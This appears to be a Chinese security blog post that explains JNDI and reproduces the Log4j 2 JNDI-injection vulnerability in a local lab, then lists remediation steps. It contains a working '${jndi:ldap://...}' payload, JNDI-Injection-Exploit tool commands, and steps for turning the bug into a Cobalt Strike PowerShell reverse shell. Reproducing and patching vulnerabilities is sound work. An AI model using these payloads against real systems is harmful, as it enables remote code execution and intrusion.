0x00 背景知識了解
JNDI
它的全稱就是Java Naming and DirectoryInterface Java命名和目錄接口,使用來為開發人查找和
訪問各種資源提供的統一通用接口。
它就是一組API接口,每個對象都有一組唯一的鍵值來綁定。
而將名字和對象綁定就可以通過名字來檢索指定的對象。
JNDI支持的主要服務
DNS、LDAP、RMI和CORBA等。
Java的RMI遠程調用是指,一個JVM中的代碼可以通過網絡實現遠程調用另一個JVM的某個方法。RMI是Remote Method Invocation的縮寫。
Java的RMI嚴重依賴序列化和反序列化,而這種情況下可能會造成嚴重的安全漏洞。
LDAP的中文全稱是:輕量級目錄訪問協議
LDAP的結構用樹來表示,而不是用表格,正因為這樣,就不能用SQL語句了;
LDAP可以很快地得到查詢結果,不過在寫方面,就慢得多;
LDAP提供了靜態數據的快速查詢方式。
Java Naming
命名服務是一種鍵值對的綁定,使應用程序可以通過鍵檢索值
Java Directory
目錄服務是命名服務的自然擴展。這兩者之間的區別在於目錄服務中對象可以有屬性,而命名服務中對象沒有屬性。因此,在目錄服務中可以根據屬性搜索對象。
ObjectFactory
它用於把Naming Service(RMI/LDAP),中存儲的數據轉換成Java中可表達的數據(對象或者是Java中基本數據類型)
JNDI注入的問題就是處在可遠程下載自定義的ObjectFactory類上。
在JNDI中提供了綁定和查找的方法:
- bind:將名稱綁定到對象中;
- lookup:通過名字檢索執行的對象;
定義一個Perspn類:
import java.io.Serializable; import java.rmi.Remote; public class Person implements Remote, Serializable { private static final long serivalVersionUID = 1l; private String name,password; public String getName(){ return name; } public void setName(String name){ this.name = name; } public String getPassword(){ return password; } public void setPassword(String password){ this.password = password; } public String toString(){ return "name:"+name+"\n"+"password:"+password; } }
然后這里再寫一個Server,把服務器端和客戶端都寫到一起了
import javax.naming.Context; import javax.naming.InitialContext; import java.rmi.registry.LocateRegistry; public class Server { public static void initPerson() throws Exception{ //配置JNDI工廠和JNDI的url和端口。如果沒有配置這些信息,會出現NoInitialContextException異常 LocateRegistry.createRegistry(6666); System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666"); //初始化 InitialContext ctx = new InitialContext(); //實例化person對象 Person p = new Person(); p.setName("test"); p.setPassword("hacjawker"); //person對象綁定到JNDI服務中,JNDI的名字叫做:person。 ctx.bind("person", p); ctx.close(); } public static void findPerson() throws Exception{ //因為前面已經將JNDI工廠和JNDI的url和端口已經添加到System對象中,這里就不用在綁定了 InitialContext ctx = new InitialContext(); //通過lookup查找person對象 Person person = (Person) ctx.lookup("person"); //打印出這個對象 System.out.println(person.toString()); ctx.close(); } public static void main(String[] args) throws Exception { initPerson(); findPerson(); } }
第一部分是initPerson()函數即服務端,其通過JNDI實現RMI服務,並通過JNDI的bind()函數將實例化的Person對象綁定到RMI服務中;
第二部分是findPerson()函數即客戶端,其通過JNDI的lookup方法來檢索person對象並輸出出來。
Apache log4j 2 復現
0x01 復現環境
環境:攻擊機運行idea 1.8.0 131 jdk環境,加載服務環境是jdk 11
0x02 復現過程
首先用maven創建Java項目,然后使用下面的pom,用maven去倒環境
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>log4j-rce</artifactId> <version>1.0-SNAPSHOT</version> <dependencies> <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency> <!-- <dependency>--> <!-- <groupId>commons-collections</groupId>--> <!-- <artifactId>commons-collections</artifactId>--> <!-- <version>3.1</version>--> <!-- </dependency>--> </dependencies> </project>
用maven更新好,在寫攻擊代碼,github上已經有很多了
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class log4j { private static final Logger logger = LogManager.getLogger(log4j.class); public static void main(String[] args) { System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); logger.error("${jndi:ldap://127.0.0.1:1389/8tl9x7}"); } }
這里使用Injection-Exploit-1.0-SNAPSHOT-all.jar包來掛載服務
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "127.0.0.1"
然后執行log4j,彈出計算器
0x03 powershell登錄
這里命令執行成功了,可以用powershell來反彈shell
記錄一下getshell的過程,首先在VPS上掛載cs,然后登錄cs客戶端,生成powershell馬
監聽IP 端口配置,VPS上的端口一定要檢查是否打開了,這里是666端口
然后選擇生成無狀態的木馬
運行jar,生成了powershell木馬執行 替換"calc" payload位置
然后運行log4j
成功返回 cs也彈到了shell
執行命令powershell whoami
不過現在補丁已經從rc1到rc2了,之前的補丁又被繞過了,現在沒有特別好的方法來修復這個漏洞,
主要是涉及面和業務都很廣。
0x04 修復
參考深藍平台給出的修復方案:
1、如何排查項目中誰使用了含有漏洞log4j? 如果使用的是gradle,可以執行gradle dependencies查看。 如果使用的是maven,可以執行mvn dependency:tree查看。 2、如何處理漏洞? 對於能直接升級log4j2到版本2.15.0 rc2的系統來說,請盡量升級。 org.apache.logging.log4j:log4j-core:2.15.0 org.apache.logging.log4j:log4j:2.15.0 org.apache.logging.log4j:log4j-api:2.15.0 對於無法升級的系統,有如下解決方案: 如果是屬於2.0-beta9到2.10.0版本,暫時處理方式是從類路徑去除JndiLookup類:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。 如果版本> = 2.10,這個漏洞可以通過設置系統屬性log4j2.formatMsgNoLookups或環境變量LOG4J_FORMAT_MSG_NO_LOOKUPS為true來作為暫時解決方案。